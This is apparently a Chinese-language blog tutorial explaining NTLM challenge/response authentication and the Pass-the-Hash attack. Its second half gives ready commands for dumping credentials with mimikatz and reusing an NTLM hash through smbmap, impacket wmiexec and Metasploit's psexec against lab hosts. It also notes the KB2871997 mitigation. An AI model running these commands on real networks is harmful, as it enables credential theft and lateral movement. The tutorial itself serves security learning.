NTLM 認證協議到 Pass The Hash 攻擊
繼續來聊聊Windows網絡認證。
NTLM是一種網絡認證協議,與NTLM Hash的關系就是:NTLM網絡認證協議是以NTLM Hash作為根本憑證進行認證的協議。
0x01 NTLM協議
In a Windows network, NT (New Technology) LAN Manager (NTLM) is a suite of Microsoft security protocols intended to provide authentication, integrity, and confidentiality to users.NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN), an older Microsoft product. The NTLM protocol suite is implemented in a Security Support Provider, which combines the LAN Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in a single package. Whether these protocols are used or can be used on a system is governed by Group Policy settings, for which different versions of Windows have different default settings. NTLM passwords are considered weak because they can be brute-forced very easily with modern hardware.
這段話摘自:
https://en.wikipedia.org/wiki/NT_LAN_Manag...
大概說到NTLM協議是LM(LAN Manager)協議的后繼產品,其協議套件中包含LM、NTLM v1、NTLM v2和NTLM2 Session四種協議,具體該使用哪一種由組策略決定。不同版本的Windows版本具有不同的默認設置。其中也提到了NTLM協議是一種不安全的認證模式。
NTLM基于Challenge/Response (質詢/響應)認證機制。整個認證流程分為三部分:協商,質詢和身份驗證。
1. 協商
客戶端向服務器發送協商消息,此消息允許客戶端向服務器指定其支持的NTLM選項,其中就包括需要登陸的用戶名,協議版本信息,簽名等等。可詳見官方文檔NEGOTIATE_MESSAGE
2. 質詢
這一個過程中服務器接收到了客戶端的協商信息,服務器會產生一個Challenge,之后加密驗證會依賴于Challenge。
challenge: A piece of data used to authenticate a user. Typically a challenge takes the form of a nonce.
這是來自微軟官方的解釋,就是說Challenge是用于驗證用戶身份的一條數據。通常,Challenge采用隨機數的形式。
| 1 | NTLM v1這里生成的是8位的Challenge,而NTLM v2是16位的Challenge。 |
服務器使用登錄用戶名對應的NTLM Hash加密Challenge, 得到一個Net NTLM Hash。同時將之前生成的隨機數Challenge等信息發送給客戶端。
客戶端接受到Challenge后,使用將要登錄到賬戶對應的NTLM Hash加密Challenge生成Response,然后將Response等信息發送至服務器端。
| 1 | NTLM v1這里的加密算法采用DES,NTLM v2采用HMAC-MD5。 |
3. 身份驗證
服務器端接收到客戶端發送的Response,將Response與自己計算得出的Net NTLM Hash進行比較,如果相等,則認證通過。

0x02 Pass The Hash攻擊
1. 原理
前面說到了Windows的網絡認證,依靠NTLM協議,是一種點對點的認證交互模式,沒有類似于Kerberos協議的信托機構。
并且在驗證過程中也是沒有使用到明文密碼的,可以發現在客戶端向服務端發起身份驗證中主要的認證步驟在于向服務端發送Response,這意味著在某一種情況下,你在工作組或域環境中拿到了一臺主機的權限,并讀到了它的NTLM hash或LM hash,這時想要破解出明文密碼可能會有難度,所以你選擇依靠這個hash,在工作組或域內登陸更多的主機,因為在內網,密碼一致的情況非常常見。
所以你可以偽裝成客戶端向服務端發起NTLM協議的認證,通過服務端對客戶端發送的Challenge再加上你得到的hash,生成一個Response,就可以完整實現整個認證流程。
這個攻擊方式就稱為哈希傳遞(Pass The Hash)。
2. 攻擊利用
下面介紹幾種利用方式
Mimikatz
privilege::debug
sekurlsa::logonpasswords

利用當前的NTLM hash進行傳遞:
sekurlsa::pth/user:administrator/domain:zjun.com/ntlm:79c89e2e7418467a4e7b55f8307260ca

Smbmap
SMBMap是一個SMB枚舉工具,功能很強大,可以命令執行,同時也支持哈希傳遞。
python3 smbmap.py -u administrator -p '00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca' -H 192.168.21.200 -r 'C$\Users'
# 前面的32個0表示的是LM hash,但是目標主機是win 2012默認不開啟LM hash,所以這里隨意填入32位長度的字符即可。

Wmiexec
python源碼:
https://github.com/SecureAuthCorp/impacket...
python3 wmiexec.py -hashes 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca ZJUN/administrator@192.168.21.200 "whoami"
# 前面的32個0表示的是LM hash,但是目標主機是win 2012默認不開啟LM hash,所以這里隨意填入32位長度的字符即可。

windows exe版本:
https://github.com/maaaaz/impacket-example...

Metasploit psexec模塊
直接hash噴射整個內網段不免緩慢,由于其依賴于445或139等端口,所以可以先掃一下段內端口開放主機。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.21.0/24
set threads 100
run

再利用psexec模塊進行哈希傳遞。
use exploit/windows/smb/psexec
set lhost 192.168.0.102
set rhosts 192.168.21.200
set smbuser administrator
set smbpass 00000000000000000000000000000000:79c89e2e7418467a4e7b55f8307260ca
run

此外還有如CrackMapExec、smbexec等工具。
對于這一缺陷,微軟發布了KB2871997補丁,在打了該補丁后,對于SID非500的賬戶,無論用戶名,Pass The Hash無法成功。
wmic useraccount get name,sid

0x03 總結
本篇主要NTLM認證流程,以及PTH攻擊原理和幾種常用工具,但不全。
作者: zjun
文章鏈接: www.zjun.info/2020/ntlm-pth.html